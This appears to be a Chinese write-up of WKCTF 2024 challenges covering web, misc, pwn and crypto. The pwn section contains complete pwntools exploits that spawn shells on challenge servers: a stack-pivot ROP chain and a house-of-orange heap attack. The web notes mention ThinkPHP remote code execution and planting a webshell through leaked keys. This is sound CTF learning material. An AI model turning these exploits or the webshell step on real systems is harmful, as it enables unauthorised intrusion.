2024WKCTF WriteUp
想写一首LoveSong 发表于 山东 CTF 1647浏览 · 2024-07-15 09:05

WKCTF2024

Web

ez_tp

比这ThinkPHP多语言远程代码执行漏洞复现 (hackjie.com)

复现即可,后面直接蹭车大哥的环境变量flag也可以

qiandao

直接filename读flag即可

ez_php

蹭大哥的shell蚁剑连接即可得到flag

后面复现了一下发现yakit可以直接扫出来AKSK泄露的洞,直接用yakit种马即可

Misc

signin

twinhex加密,直接解密,得到一个二维码,扫描

小z的社交网络

首先是一个ppm经过openssl enc -e -aes-128-ecb加密,找到

doegox/ElectronicColoringBook: Colorize data file according to repetitive chunks, typical in ECB encrypted (github.com)

用脚本跑解密即可

得到

然后开搜,搜到微博有这个人,然后看粉丝列表

发现可疑的用户之后

base64得到博客地址,github直接看他history即可

打开就有flag

不套是你的谎言

结合题目描述,是pyc的魔术头,找个对照表即可,然后搓脚本

def load_magic_dict(file_path):
    magic_dict = {}
    with open(file_path, encoding='utf-8') as file:
        lines = file.readlines()
        for line in lines:
            line = line.strip()
            if 'belong' in line:
                parts = line.split(' ')
                magic = parts[3]
                version = parts[4].split(' ')[1].replace('.', '')[:2]
                magic_dict[magic] = version
    return magic_dict

def convert_magic_to_version(magic_file_path, magic_dict):
    output = ''
    with open(magic_file_path, encoding='utf-8') as file:
        lines = file.readlines()
        for line in lines:
            line = line.strip()
            output += magic_dict.get(line, '未知') 
    return output

if __name__ == "__main__":
    magic_dict_path = r"dic.txt"
    magic_file_path = r"magic.txt"

    magic_dict = load_magic_dict(magic_dict_path)
    output = convert_magic_to_version(magic_file_path, magic_dict)

    print(output)

得到一串16进制,再转换一下得到

伪加密修改之后解压得到密文

搓一个爆破脚本

from pyDes import des
import base64

def des_descrypt(cipher, KEY):
    """
    DES 解密
    :param cipher: 加密后的字符串,Base64编码
    :param KEY: 密钥
    :return: 解密后的字符串
    """
    des_obj = des(KEY)
    decrypt_str = des_obj.decrypt(base64.b64decode(cipher))
    return decrypt_str


cipher_text = 'UnAmPVY4at+vnBjzYO7+TdFR2fDbxRs+jC7l1kvohT0ZxrPC8BTMbA=='

with open(r'D:\渗透\\rockyou.txt', encoding='utf-8', errors='ignore') as f:
    lines = f.readlines()
    for i, line in enumerate(lines):
        key = line.strip()
        try:
            flag = des_descrypt(cipher_text, key).decode()
            print(f"Found! Flag: {flag}, Key: {key}")
            break
        except Exception as e:
            if i % 1000 == 0:  # 每1000次打印一次进度
                print(f"Tried {i} passwords, currently at: {key}")

Pwn

baby_stack

在echo_inner中有一个off_by_null,可以做到栈迁移

通过测试最开始的字符串格式化可以自己控制泄露栈地址,自己泄露libc地址

直接用多次函数调用的leave;ret;完成栈迁移需要爆破一下

from pwn import * 
p=remote('110.40.35.73',33779) 
# p=process('./pwn') 
libc=ELF('./libc-2.27.so') 

p.send(b'1') 
p.sendline(b'27') 
p.recvuntil(b'is: ') 
libc_add=int(p.recv(6*2),16) 
libcbase=libc_add-libc.sym['__libc_start_main']-231 
print(hex(libcbase)) 

p.sendline(b'256') 
ret=libcbase+0x8aa 
pop_rdi=libcbase+0x2164f 
system=libcbase+libc.symbols['system'] 
str_bin_sh=libcbase+next(libc.search(b'/bin/sh')) 

payload=b'\x00'*0xb0+p64(ret)*2+p64(pop_rdi)+p64(str_bin_sh)+p64(system) 
payload=payload.ljust(256,b'\x00') 
p.sendlineafter(b'max',payload) 

p.interactive()

easy_heap

add函数

没有del函数不能释放 函数,使用house_of_orange手法释放top_chunk

有edit函数在编辑的时候可以造成溢出

堆题没开pie和got表保护给 的libc是2.23的,释放top_chunk进fastbin然后修改就行

from pwn import * 
from LibcSearcher import * 
FILENAME='./heap' 
#p=process(FILENAME) 
elf=ELF(FILENAME) 
p=remote('110.40.35.73',33782)
libc=ELF('./libc-2.23.so') 

def malloc(Size,Content=b'a'): 
    p.sendlineafter(b'>',b'1') 
    p.sendlineafter(b'Size',str(Size)) 
    p.sendafter(b'Content',Content) 
def edit(id,Content): 
    p.sendlineafter(b'>',b'2') 
    p.sendlineafter(b'Index',str(id)) 
    p.sendlineafter(b'Size',str(0x1000)) 
    p.sendafter(b'Content',Content) 
def show(id): 
    p.sendlineafter(b'>',b'3') 
    p.sendlineafter(b'Index',str(id)) 


malloc(0x510)#0 
malloc(0x510)#1 
malloc(0x500)#2 
malloc(0x18)#3 
edit(3,b'\x00'*(0x18)+p64(0x91)) 
malloc(0x900)#4 
fake_chunk=0x40408d 
payload=b'\x00'*0x18+p64(0x71)+p64(fake_chunk) 
edit(3,payload) 
malloc(0x68) 
malloc(0x68) 

puts_got=elf.got['puts'] 
edit(6,b'a'*(0x23+0x20)+p64(puts_got)) 


leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00') 
libcbase=leak_add-libc.symbols['puts'] 
print(hex(libcbase)) 
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247] 
execve=libcbase+one_gadget[0] 
edit(0,p64(execve)) 
show(0) 


p.interactive()

Cry

fl@g

组合数学,理解myprime函数即可

其实就是排列组合,GPT解释一下就懂了,得到real_n之后就是正常RSA

import gmpy2
from sympy import *
from Crypto.Util.number import *

# def myprime():
#     num = 0
#     for i in tqdm(permutations(table) , total=factorial(len(table))):
#         temp = "".join(list(i))
#         if("flag" in temp or "FLAG" in temp or "f14G" in temp or "7!@9" in temp or "F1ag" in temp):
#             num += 1
#     return nextprime(num)

n = 10179374723747373757354331803486491859701644330006662145185130847839571647703918266478112837755004588085165750997749893646933873398734236153637724985137304539453062753420396973717
c = 1388132475577742501308652898326761622837921103707698682051295277382930035244575886211234081534946870195081797116999020335515058810721612290772127889245497723680133813796299680596
e=65537

real_n=factorial(62)*63*4-4*factorial(58)*59*60+factorial(54)*55*56*57

p=nextprime(real_n)
q=n//p

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
flag=long_to_bytes(pow(c,d,n))
print(flag)
附件:
0 条评论
某人
表情
可输入 255